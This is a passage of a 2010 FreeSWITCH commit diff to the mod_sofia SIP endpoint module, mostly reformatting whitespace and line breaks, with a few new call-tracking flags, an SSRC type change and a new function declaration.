if ((host = switch_core_session_strdup(nsession, tech_pvt->dest))) {
char *pp = strchr(host, '@');
if (pp) {
- host = pp+1;
+ host = pp + 1;
} else {
host = NULL;
dest_to = NULL;
@@ -3187,9 +3233,9 @@
} else {
tech_pvt->invite_contact = switch_core_session_strdup(nsession, gateway_ptr->register_contact);
}
-
+
gateway_ptr->ob_calls++;
-
+
if (!zstr(gateway_ptr->from_domain) && !switch_channel_get_variable(nchannel, "sip_invite_domain")) {
switch_channel_set_variable(nchannel, "sip_invite_domain", gateway_ptr->from_domain);
}
@@ -3197,10 +3243,10 @@
if (!zstr(gateway_ptr->outbound_sticky_proxy) && !switch_channel_get_variable(nchannel, "sip_route_uri")) {
switch_channel_set_variable(nchannel, "sip_route_uri", gateway_ptr->outbound_sticky_proxy);
}
-
+
if (gateway_ptr->ob_vars) {
switch_event_header_t *hp;
- for(hp = gateway_ptr->ob_vars->headers; hp; hp = hp->next) {
+ for (hp = gateway_ptr->ob_vars->headers; hp; hp = hp->next) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setting variable [%s]=[%s]\n",
switch_channel_get_name(nchannel), hp->name, hp->value);
switch_channel_set_variable(nchannel, hp->name, hp->value);
@@ -3288,29 +3334,28 @@
dest_num = switch_core_session_strdup(nsession, dest);
if ((p = strchr(dest_num, '@'))) {
*p = '\0';
-
+
if ((p = strrchr(dest_num, '/'))) {
dest_num = p + 1;
- } else if ((p = (char *)switch_stristr("sip:", dest_num))) {
+ } else if ((p = (char *) switch_stristr("sip:", dest_num))) {
dest_num = p + 4;
- } else if ((p = (char *)switch_stristr("sips:", dest_num))) {
+ } else if ((p = (char *) switch_stristr("sips:", dest_num))) {
dest_num = p + 5;
}
}
#endif
caller_profile = switch_caller_profile_clone(nsession, outbound_profile);
-
-
+
+
caller_profile->destination_number = switch_sanitize_number(caller_profile->destination_number);
- not_const = (char *)caller_profile->caller_id_name;
+ not_const = (char *) caller_profile->caller_id_name;
caller_profile->caller_id_name = switch_sanitize_number(not_const);
- not_const = (char *)caller_profile->caller_id_number;
+ not_const = (char *) caller_profile->caller_id_number;
caller_profile->caller_id_number = switch_sanitize_number(not_const);
-
+
//caller_profile->destination_number = switch_core_strdup(caller_profile->pool, dest_num);
switch_channel_set_caller_profile(nchannel, caller_profile);
- switch_channel_set_flag(nchannel, CF_OUTBOUND);
sofia_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
sofia_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
if (switch_channel_get_state(nchannel) == CS_NEW) {
@@ -3333,12 +3378,12 @@
switch_channel_set_variable(nchannel, "sip_invite_params", "intercom=true");
}
- if (((hval = switch_event_get_header(var_event, "effective_callee_id_name")) ||
+ if (((hval = switch_event_get_header(var_event, "effective_callee_id_name")) ||
(hval = switch_event_get_header(var_event, "sip_callee_id_name"))) && !zstr(hval)) {
caller_profile->callee_id_name = switch_core_strdup(caller_profile->pool, hval);
}
- if (((hval = switch_event_get_header(var_event, "effective_callee_id_number")) ||
+ if (((hval = switch_event_get_header(var_event, "effective_callee_id_number")) ||
(hval = switch_event_get_header(var_event, "sip_callee_id_number"))) && !zstr(hval)) {
caller_profile->callee_id_number = switch_core_strdup(caller_profile->pool, hval);
}
@@ -3351,17 +3396,17 @@
switch_channel_set_variable_printf(nchannel, "sip_h_Call-Info", "<sip:%s>;answer-after=0", profile->sipip);
switch_channel_set_variable(nchannel, "sip_invite_params", "intercom=true");
}
-
+
switch_ivr_transfer_variable(session, nsession, SOFIA_REPLACES_HEADER);
switch_ivr_transfer_variable(session, nsession, "sip_auto_answer");
if (!(vval = switch_channel_get_variable(o_channel, "sip_copy_custom_headers")) || switch_true(vval)) {
- switch_ivr_transfer_variable(session, nsession, SOFIA_SIP_HEADER_PREFIX_T);
+ switch_ivr_transfer_variable(session, nsession, SOFIA_SIP_HEADER_PREFIX_T);
}
switch_ivr_transfer_variable(session, nsession, "sip_video_fmtp");
switch_ivr_transfer_variable(session, nsession, "sip-force-contact");
switch_ivr_transfer_variable(session, nsession, "sip_sticky_contact");
switch_ivr_transfer_variable(session, nsession, "sip_cid_type");
-
+
if (switch_core_session_compare(session, nsession)) {
/* It's another sofia channel! so lets cache what they use as a pt for telephone event so
we can keep it the same
@@ -3372,7 +3417,7 @@
tech_pvt->bte = ctech_pvt->te;
tech_pvt->bcng_pt = ctech_pvt->cng_pt;
tech_pvt->cid_type = ctech_pvt->cid_type;
-
+
if (sofia_test_flag(tech_pvt, TFLAG_ENABLE_SOA)) {
sofia_set_flag(ctech_pvt, TFLAG_ENABLE_SOA);
} else {
@@ -3429,47 +3474,36 @@
char *es = argv[5];
char *body = argv[6];
char *id = NULL;
- char *p , *contact;
+ char *p, *contact;
-
+
if (profile_name && strcasecmp(profile_name, profile->name)) {
- if ((ext_profile = sofia_glue_find_profile(profile_name))) {
- profile = ext_profile;
- }
- }
+ if ((ext_profile = sofia_glue_find_profile(profile_name))) {
+ profile = ext_profile;
+ }
+ }
id = switch_mprintf("sip:%s@%s", user, host);
switch_assert(id);
contact = sofia_glue_get_url_from_contact(contact_in, 1);
-
+
if ((p = strstr(contact, ";fs_"))) {
*p = '\0';
}
- nh = nua_handle(profile->nua,
- NULL,
- NUTAG_URL(contact),
- SIPTAG_FROM_STR(id),
- SIPTAG_TO_STR(id),
- SIPTAG_CONTACT_STR(profile->url),
- TAG_END());
-
+ nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
- nua_notify(nh,
- NUTAG_NEWSUB(1),
- SIPTAG_EVENT_STR(es),
- SIPTAG_CONTENT_TYPE_STR(ct),
- TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
- TAG_END());
+ nua_notify(nh, NUTAG_NEWSUB(1), SIPTAG_EVENT_STR(es), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
-
+
free(id);
free(contact);
if (ext_profile) {
sofia_glue_release_profile(ext_profile);
- }
+ }
return 0;
}
@@ -3493,17 +3527,17 @@
if (to_uri || from_uri) {
-
+
if (!to_uri) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
return;
}
-
+
if (!from_uri) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
return;
}
-
+
if (!es) {
es = "message-summary";
}
@@ -3515,32 +3549,29 @@
if (!profile_name) {
profile_name = "default";
}
-
+
if (!(profile = sofia_glue_find_profile(profile_name))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
return;
}
-
+
if (to_uri && from_uri && ct && es && profile_name && (profile = sofia_glue_find_profile(profile_name))) {
- nua_handle_t *nh = nua_handle(profile->nua,
- NULL,
- NUTAG_URL(to_uri),
- SIPTAG_FROM_STR(from_uri),
- SIPTAG_TO_STR(to_uri),
- SIPTAG_CONTACT_STR(profile->url),
+ nua_handle_t *nh = nua_handle(profile->nua,
+ NULL,
+ NUTAG_URL(to_uri),
+ SIPTAG_FROM_STR(from_uri),
+ SIPTAG_TO_STR(to_uri),
+ SIPTAG_CONTACT_STR(profile->url),
TAG_END());
-
+
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
-
+
nua_notify(nh,
NUTAG_NEWSUB(1),
NUTAG_WITH_THIS(profile->nua),
- SIPTAG_EVENT_STR(es),
- TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
- TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
- TAG_END());
-
+ SIPTAG_EVENT_STR(es), TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
+
sofia_glue_release_profile(profile);
}
@@ -3555,10 +3586,7 @@
if ((tech_pvt = switch_core_session_get_private(session))) {
nua_notify(tech_pvt->nh,
NUTAG_NEWSUB(1),
- SIPTAG_EVENT_STR(es),
- SIPTAG_CONTENT_TYPE_STR(ct),
- TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
- TAG_END());
+ SIPTAG_EVENT_STR(es), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
}
switch_core_session_rwunlock(session);
}
@@ -3567,24 +3595,23 @@
if (call_id) {
sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q','%q','%q' "
- "from sip_registrations where call_id='%q'", ct, es, switch_str_nil(body), call_id
- );
+ "from sip_registrations where call_id='%q'", ct, es, switch_str_nil(body), call_id);
} else {
if (!strcasecmp(es, "message-summary")) {
sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q','%q','%q' "
- "from sip_registrations where mwi_user='%s' and mwi_host='%q'",
- ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
- );
+ "from sip_registrations where mwi_user='%s' and mwi_host='%q'",
+ ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
+ );
} else {
sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q','%q','%q' "
- "from sip_registrations where sip_user='%s' and sip_host='%q'",
- ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
- );
+ "from sip_registrations where sip_user='%s' and sip_host='%q'",
+ ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
+ );
}
}
-
+
switch_mutex_lock(profile->ireg_mutex);
sofia_glue_execute_sql_callback(profile, NULL, sql, notify_callback, profile);
switch_mutex_unlock(profile->ireg_mutex);
@@ -3592,7 +3619,7 @@
free(sql);
}
-
+
}
break;
case SWITCH_EVENT_SEND_MESSAGE:
@@ -3625,26 +3652,17 @@
switch_assert(id);
contact = sofia_glue_get_url_from_contact(buf, 0);
-
+
if ((p = strstr(contact, ";fs_"))) {
*p = '\0';
}
-
- nh = nua_handle(profile->nua,
- NULL,
- NUTAG_URL(contact),
- SIPTAG_FROM_STR(id),
- SIPTAG_TO_STR(id),
- SIPTAG_CONTACT_STR(profile->url),
- TAG_END());
-
- nua_message(nh,
- NUTAG_NEWSUB(1),
- SIPTAG_CONTENT_TYPE_STR(ct),
- TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
- TAG_END());
-
+ nh = nua_handle(profile->nua,
+ NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+
+ nua_message(nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
+
+
free(id);
sofia_glue_release_profile(profile);
}
@@ -3671,25 +3689,25 @@
char *p;
if (!profile_name) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing Profile Name\n");
- goto done;
- }
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing Profile Name\n");
+ goto done;
+ }
- if (!call_id && !to_uri && !local_user_full) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
- goto done;
- }
+ if (!call_id && !to_uri && !local_user_full) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
+ goto done;
+ }
- if (!call_id && !from_uri) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
- goto done;
- }
+ if (!call_id && !from_uri) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
+ goto done;
+ }
- if (!(profile = sofia_glue_find_profile(profile_name))) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
- goto done;
- }
+ if (!(profile = sofia_glue_find_profile(profile_name))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
+ goto done;
+ }
if (call_id) {
nh = nua_handle_by_call_id(profile->nua, call_id);
@@ -3705,28 +3723,23 @@
if ((local_host = strchr(local_user, '@'))) {
*local_host++ = '\0';
}
-
+
if (!local_user || !local_host || !sofia_reg_find_reg_url(profile, local_user, local_host, buf, sizeof(buf))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find local user\n");
goto done;
}
-
+
to_uri = sofia_glue_get_url_from_contact(buf, 0);
-
+
if ((p = strstr(to_uri, ";fs_"))) {
*p = '\0';
}
-
+
}
- nh = nua_handle(profile->nua,
- NULL,
- NUTAG_URL(to_uri),
- SIPTAG_FROM_STR(from_uri),
- SIPTAG_TO_STR(to_uri),
- SIPTAG_CONTACT_STR(profile->url),
- TAG_END());
-
+ nh = nua_handle(profile->nua,
+ NULL, NUTAG_URL(to_uri), SIPTAG_FROM_STR(from_uri), SIPTAG_TO_STR(to_uri), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+
nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
}
@@ -3735,9 +3748,7 @@
TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
TAG_IF(cd, SIPTAG_CONTENT_DISPOSITION_STR(cd)),
TAG_IF(alert_info, SIPTAG_ALERT_INFO_STR(alert_info)),
- TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
- TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
- TAG_END());
+ TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
if (call_id && nh) {
nua_handle_unref(nh);
@@ -3746,11 +3757,11 @@
if (profile) {
sofia_glue_release_profile(profile);
}
-
- done:
+ done:
+
switch_safe_free(local_dup);
-
+
}
break;
case SWITCH_EVENT_TRAP:
@@ -3804,7 +3815,7 @@
switch_mutex_unlock(mod_sofia_globals.hash_mutex);
sofia_glue_restart_all_profiles();
}
-
+
}
break;
default:
@@ -3826,7 +3837,7 @@
switch_hash_this(hi, &vvar, NULL, &val);
profile = (sofia_profile_t *) val;
if (sofia_test_pflag(profile, PFLAG_RUNNING)) {
- switch_console_push_match(&my_matches, (const char *)vvar);
+ switch_console_push_match(&my_matches, (const char *) vvar);
}
}
switch_mutex_unlock(mod_sofia_globals.hash_mutex);
@@ -3866,7 +3877,7 @@
*matches = my_matches;
status = SWITCH_STATUS_SUCCESS;
}
-
+
return status;
}
@@ -3886,7 +3897,7 @@
dup = strdup(line);
argc = switch_split(dup, ' ', argv);
-
+
if (zstr(argv[2]) || !strcmp(argv[2], " ")) {
goto end;
}
@@ -3903,9 +3914,9 @@
*matches = my_matches;
status = SWITCH_STATUS_SUCCESS;
}
-
- end:
+ end:
+
switch_safe_free(dup);
return status;
@@ -4025,7 +4036,8 @@
management_interface->management_function = sofia_manage;
SWITCH_ADD_API(api_interface, "sofia", "Sofia Controls", sofia_function, "<cmd> <args>");
- SWITCH_ADD_API(api_interface, "sofia_gateway_data", "Get data from a sofia gateway", sofia_gateway_data_function, "<gateway_name> [ivar|ovar|var] <name>");
+ SWITCH_ADD_API(api_interface, "sofia_gateway_data", "Get data from a sofia gateway", sofia_gateway_data_function,
+ "<gateway_name> [ivar|ovar|var] <name>");
switch_console_set_complete("add sofia help");
switch_console_set_complete("add sofia status");
switch_console_set_complete("add sofia xmlstatus");
@@ -4084,7 +4096,7 @@
switch_event_unbind(&mod_sofia_globals.custom_node);
switch_event_unbind(&mod_sofia_globals.mwi_node);
switch_event_unbind_callback(general_event_handler);
-
+
while (mod_sofia_globals.threads) {
switch_cond_next();
if (++sanity >= 60000) {
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -205,6 +205,7 @@
PFLAG_SQL_IN_TRANS,
PFLAG_PASS_CALLEE_ID,
PFLAG_LOG_AUTH_FAIL,
+ PFLAG_TRACK_CALLS,
/* No new flags below this line */
PFLAG_MAX
} PFLAGS;
@@ -258,6 +259,9 @@
TFLAG_PASS_RFC2833,
TFLAG_UPDATING_DISPLAY,
TFLAG_ENABLE_SOA,
+ TFLAG_TRACKED,
+ TFLAG_RECOVERING,
+ TFLAG_RECOVERING_BRIDGE,
/* No new flags below this line */
TFLAG_MAX
} TFLAGS;
@@ -343,8 +347,8 @@
struct sofia_gateway_subscription {
sofia_gateway_t *gateway;
char *expires_str;
- char *event; /* eg, 'message-summary' to subscribe to MWI events */
- char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
+ char *event; /* eg, 'message-summary' to subscribe to MWI events */
+ char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
uint32_t freq;
int32_t retry_seconds;
time_t expires;
@@ -501,7 +505,7 @@
char *odbc_dsn;
char *odbc_user;
char *odbc_pass;
- // switch_odbc_handle_t *master_odbc;
+ // switch_odbc_handle_t *master_odbc;
switch_queue_t *sql_queue;
char *acl[SOFIA_MAX_ACL];
uint32_t acl_count;
@@ -548,7 +552,8 @@
switch_caller_profile_t *caller_profile;
uint32_t timestamp_send;
switch_rtp_t *rtp_session;
- int ssrc;
+ uint32_t ssrc;
+ uint32_t video_ssrc;
sofia_profile_t *profile;
char *local_sdp_audio_ip;
switch_port_t local_sdp_audio_port;
@@ -683,10 +688,10 @@
} auth_res_t;
typedef struct {
- char *to;
- char *contact;
- char *route;
- char *route_uri;
+ char *to;
+ char *contact;
+ char *route;
+ char *route_uri;
} sofia_destination_t;
#define sofia_test_pflag(obj, flag) ((obj)->pflags[flag] ? 1 : 0)
@@ -734,21 +739,23 @@
void sofia_handle_sip_i_info(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, switch_core_session_t *session, sip_t const *sip, tagi_t tags[]);
-void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[]);
-void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[]);
void sofia_event_callback(nua_event_t event,
- int status,
- char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+ int status,
+ char const *phrase,
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void *SWITCH_THREAD_FUNC sofia_profile_thread_run(switch_thread_t *thread, void *obj);
void launch_sofia_profile_thread(sofia_profile_t *profile);
switch_status_t sofia_presence_chat_send(const char *proto, const char *from, const char *to, const char *subject,
- const char *body, const char *type, const char *hint);
+ const char *body, const char *type, const char *hint);
void sofia_glue_tech_absorb_sdp(private_object_t *tech_pvt);
/*
@@ -766,32 +773,30 @@
void sofia_presence_cancel(void);
switch_status_t config_sofia(int reload, char *profile_name);
void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_regtype_t regtype, const char *realm, int stale);
-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
- sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
+ sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count);
-
+
void sofia_reg_handle_sip_r_challenge(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile,
nua_handle_t *nh, sofia_private_t *sofia_private,
switch_core_session_t *session, sofia_gateway_t *gateway, sip_t const *sip, tagi_t tags[]);
void sofia_reg_handle_sip_r_register(int status,
- char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_handle_sip_i_options(int status,
- char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_message(int status,
- char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_r_subscribe(int status,
- char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_subscribe(int status,
- char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+ char const *phrase,
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[]);
+void sofia_handle_sip_i_options(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private,
+ sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[]);
+void sofia_presence_handle_sip_i_message(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+ sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_r_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+ sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_i_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+ sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
void sofia_glue_execute_sql(sofia_profile_t *profile, char **sqlp, switch_bool_t sql_already_dynamic);
void sofia_glue_actually_execute_sql(sofia_profile_t *profile, char *sql, switch_mutex_t *mutex);
@@ -801,13 +806,14 @@
void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now);
void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now);
void sofia_reg_unregister(sofia_profile_t *profile);
-switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool);
+switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
+ const char *sourceip, switch_memory_pool_t *pool);
void sofia_glue_pass_sdp(private_object_t *tech_pvt, char *sdp);
int sofia_glue_get_user_host(char *in, char **user, char **host);
switch_call_cause_t sofia_glue_sip_cause_to_freeswitch(int status);
void sofia_glue_do_xfer_invite(switch_core_session_t *session);
-uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
+uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
sofia_regtype_t regtype, char *key, uint32_t keylen, switch_event_t **v_event, const char *is_nat);
extern switch_endpoint_interface_t *sofia_endpoint_interface;
void sofia_presence_set_chat_hash(private_object_t *tech_pvt, sip_t const *sip);
@@ -816,11 +822,9 @@
void sofia_presence_set_hash_key(char *hash_key, int32_t len, sip_t const *sip);
void sofia_glue_sql_close(sofia_profile_t *profile, time_t prune);
int sofia_glue_init_sql(sofia_profile_t *profile);
-char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only, const char *params);
-switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile,
- switch_mutex_t *mutex,
- char *sql,
- switch_core_db_callback_func_t callback,
+char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only,
+ const char *params);
+switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
void *pdata);
char *sofia_glue_execute_sql2str(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len);
void sofia_glue_check_video_codecs(private_object_t *tech_pvt);
@@ -884,14 +888,15 @@
sofia_transport_t sofia_glue_str2transport(const char *str);
const char *sofia_glue_transport2str(const sofia_transport_t tp);
-char * sofia_glue_find_parameter(const char *str, const char *param);
+char *sofia_glue_find_parameter(const char *str, const char *param);
char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport);
char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport);
char *sofia_glue_strip_uri(const char *str);
int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip);
int sofia_glue_transport_has_tls(const sofia_transport_t tp);
const char *sofia_glue_get_unknown_header(sip_t const *sip, const char *name);
-switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type, switch_rtp_crypto_direction_t direction);
+switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type,
+ switch_rtp_crypto_direction_t direction);
void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt);
switch_status_t sofia_glue_tech_proxy_remote_addr(private_object_t *tech_pvt);
void sofia_presence_event_thread_start(void);
@@ -901,10 +906,11 @@
const char *sofia_glue_strip_proto(const char *uri);
switch_status_t reconfig_sofia(sofia_profile_t *profile);
void sofia_glue_del_gateway(sofia_gateway_t *gp);
-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip);
+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
+ const char *network_ip);
void sofia_glue_restart_all_profiles(void);
void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly);
-const char * sofia_state_string(int state);
+const char *sofia_state_string(int state);
switch_status_t sofia_glue_tech_set_codec(private_object_t *tech_pvt, int force);
void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout);
void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options);
@@ -918,7 +924,8 @@
void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
void sofia_sla_handle_sip_r_subscribe(int status,
char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[]);
void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
/*
@@ -944,12 +951,16 @@
void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup);
void sofia_glue_set_rtp_stats(private_object_t *tech_pvt);
void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port);
-sofia_destination_t* sofia_glue_get_destination(char *data);
+sofia_destination_t *sofia_glue_get_destination(char *data);
void sofia_glue_free_destination(sofia_destination_t *dst);
-switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip);
+switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
+ const char *body, const char *o_contact, const char *network_ip);
char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix);
void sofia_glue_set_extra_headers(switch_channel_t *channel, sip_t const *sip, const char *prefix);
void sofia_info_send_sipfrag(switch_core_session_t *aleg, switch_core_session_t *bleg);
void sofia_update_callee_id(switch_core_session_t *session, sofia_profile_t *profile, sip_t const *sip, switch_bool_t send);
void sofia_send_callee_id(switch_core_session_t *session, const char *name, const char *number);
int sofia_sla_supported(sip_t const *sip);
+void sofia_glue_tech_untrack(sofia_profile_t *profile, switch_core_session_t *session, switch_bool_t force);
